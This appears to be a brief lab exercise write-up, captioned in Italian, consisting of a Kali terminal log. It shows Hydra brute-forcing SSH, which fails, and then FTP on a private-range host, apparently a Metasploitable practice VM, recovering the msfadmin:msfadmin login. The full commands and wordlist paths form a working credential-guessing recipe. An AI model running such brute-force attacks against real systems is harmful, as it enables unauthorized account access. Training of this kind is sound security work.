

# BONUS

## CRACK PASSWORD FTP SU META:

```
kali@kali: ~  
└─(kali@kali)-[~]  
└─$ hydra -l /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.101 -t4 -V ssh  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 13:52:17  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4437614330 login tries (1:57335/p:77398), ~1109403583 tries per task  
[DATA] attacking ssh://192.168.50.101:22/  
[ERROR] could not connect to ssh://192.168.50.101:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256]  
  
└─(kali@kali)-[~]  
└─$ ping 192.168.50.101  
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.  
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=0.208 ms  
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0.311 ms  
^X64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=0.266 ms  
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=0.308 ms  
^C  
--- 192.168.50.101 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3057ms  
rtt min/avg/max/mdev = 0.266/0.295/0.311/0.017 ms  
  
└─(kali@kali)-[~]  
└─$ hydra -l /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.101 -t4 -V ftp  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 13:53:14  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4437614330 login tries (1:57335/p:77398), ~1109403583 tries per task  
[DATA] attacking ftp://192.168.50.101:21/  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 4437614330 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 4437614330 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 3 of 4437614330 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 4 of 4437614330 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 5 of 4437614330 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 6 of 4437614330 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 7 of 4437614330 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "111111" - 8 of 4437614330 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567" - 9 of 4437614330 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 10 of 4437614330 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dragon" - 11 of 4437614330 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123123" - 12 of 4437614330 [child 3] (0/0)  
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin  
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456" - 77399 of 4437614330 [child 0] (0/0)  
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```